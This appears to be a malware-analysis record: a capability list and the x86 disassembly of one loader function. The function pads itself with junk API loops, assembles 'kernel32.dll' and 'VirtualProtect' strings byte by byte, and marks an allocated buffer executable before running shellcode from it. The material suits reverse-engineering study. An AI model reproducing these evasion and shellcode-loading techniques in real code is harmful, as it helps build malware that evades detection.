Function at 0x423a70
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create pipe
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Manipulate console buffer
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x29f0
call fcn.0040e390
push ebx
mov ebx, dword [esp + 0x98]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [esp + 0x34]
xor esi, esi
cmp esi, 0x2cc38
jge 0x423aa1
call ebp
cmp dword [0x7adb8c], 0x6fb
jne 0x423ac1
push 0
push 0
lea eax, [esp + 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
cmp esi, 0x1e9b212e
jle 0x423ad9
cmp edi, 0xc10bd0
je 0x423ad9
cmp ebx, 0x9623f60
jne 0x423ae2
inc esi
cmp esi, 0x9968a
jl 0x423a97
cmp dword [0x7adb8c], 0xcf8
jne 0x423b36
fldz
sub esp, 8
fstp qword [esp]
call fcn.00405b00
fstp st(0)
fldz
fstp qword [esp]
call fcn.00405320
fstp st(0)
push 0
push 0
push 0
push 0x429e48
call fcn.00405684
push 0
call fcn.0040598c
add esp, 0x1c
push 0
push 0
call fcn.00405477
add esp, 8
push 0
call fcn.0040593a
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor esi, esi
cmp esi, 0x408
jne 0x423b57
mov eax, 0x5d1
add dword [0x7adb8c], eax
cmp dword [0x7adb8c], 3
jne 0x423b83
xor ecx, ecx
lea eax, [esp + 0x34]
push eax
push ecx
push ecx
push 0x4048f4
push ecx
mov dword [esp + 0x44], ecx
call edi
push 0
push 0
lea edx, [esp + 0x208]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x423b44
mov eax, dword [0x7adb8c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x42ebdc], eax
mov eax, dword [0x7adb8c]
xor esi, esi
test eax, eax
je 0x423c02
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea esp, [esp]
cmp eax, 0xfe
jne 0x423bd1
push 0
call ebx
push 0
push 0
call ebp
call fcn.00423620
mov eax, dword [0x7adb8c]
cmp eax, 0x29
jne 0x423bfd
push 0
push 0
lea ecx, [esp + 0x208]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push 0
call edi
mov eax, dword [0x7adb8c]
inc esi
cmp esi, eax
jb 0x423bc0
cmp eax, 0x70
jne 0x423d5b
push 0x404924
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x404958
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0x40498c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea edx, [esp + 0xe00]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
lea eax, [esp + 0x1604]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
lea ecx, [esp + 0x204]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call edi
call edi
push 0
push 0x4049b0
push 0x404a24
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0x404a80
lea edx, [esp + 0x2204]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x404b60
lea eax, [esp + 0x1e04]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
lea ecx, [esp + 0x3c]
push ecx
push eax
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
push 0
push 0
lea edx, [esp + 0xa08]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea eax, [esp + 0x604]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0x404be0
push 0x404c48
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov eax, dword [0x7adb8c]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov dword [esp + 0x34], 0x9682ab
jmp 0x423d80
cmp eax, 3
jne 0x423d9a
lea ecx, [esp + 0xc0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x7adb8c]
cmp eax, 0xdf
jne 0x423eed
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x54]
push ecx
push edx
push edx
lea eax, [esp + 0x60c]
push eax
push edx
mov dword [esp + 0x44], edx
call ebp
push 0
push 0
push 0
call ebx
push 0x404a5c
push 0x404bc4
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentActCtx]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x50]
push ecx
push 0
lea edx, [esp + 0xa0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0x404c88
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea eax, [esp + 0x38]
push eax
push 0x404d40
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea ecx, [esp + 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x404d4c
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor eax, eax
lea edx, [esp + 0x3c]
push edx
push eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov dword [esp + 0x64], 0
push 0x30
lea eax, [esp + 0x6c]
push 0
push eax
call fcn.00406f20
add esp, 0xc
push 0
lea ecx, [esp + 0x68]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x404d6c
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov eax, dword [0x7adb8c]
dec dword [esp + 0x34]
jne 0x423d80
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x12dba7f4
push 0
call edi
push 0
call ebx
dec esi
jne 0x423f08
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x429e48
mov dword [0x429e4c], 0x32336c65
mov dword [0x429e50], 0x6c6c642e
mov dword [0x429e48], 0x6e72656b
mov byte [0x429e54], 0
call ebp
mov ecx, dword [0x42ebdc]
lea edx, [esp + 0x38]
push edx
mov dword [0x7adb88], eax
mov eax, dword [0x7adb8c]
push 0x40
push eax
push ecx
mov byte [0x429e53], 0x65
mov dword [0x429e49], 0x75747269
mov word [0x429e4d], 0x6c61
mov byte [0x429e48], 0x56
mov word [0x429e54], 0x7463
mov byte [0x429e56], 0
mov dword [0x429e4f], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004238b0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea ebx, [ebx]
cmp dword [0x7adb8c], 0xba
jne 0x423fc9
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x423fdc
mov eax, 0x2911
add dword [0x42ebdc], eax
inc esi
cmp esi, 0x1605a
jl 0x423fb0
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0xf2b8b
cmp dword [0x7adb8c], 0x21
jne 0x42400d
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x423ff6
mov eax, 0x73
mov ecx, 0x6d
mov word [0x7adb92], ax
mov word [0x7adb96], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x7adb9a], dx
mov word [0x7adba6], cx
mov word [0x7adb98], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x7adb90
mov dword [0x7adba0], 0x6c0064
mov word [0x7adb94], cx
mov word [0x7adb90], dx
mov word [0x7adba4], ax
mov dword [0x7adb9c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x7adb8c], 0xc30
jne 0x4240f3
push 0x404db8
call ebp
push ebx
call dword [sym.imp.KERNEL32.dll__lclose]
push 0x404dac
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0x404e1c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
lea eax, [esp + 0x604]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret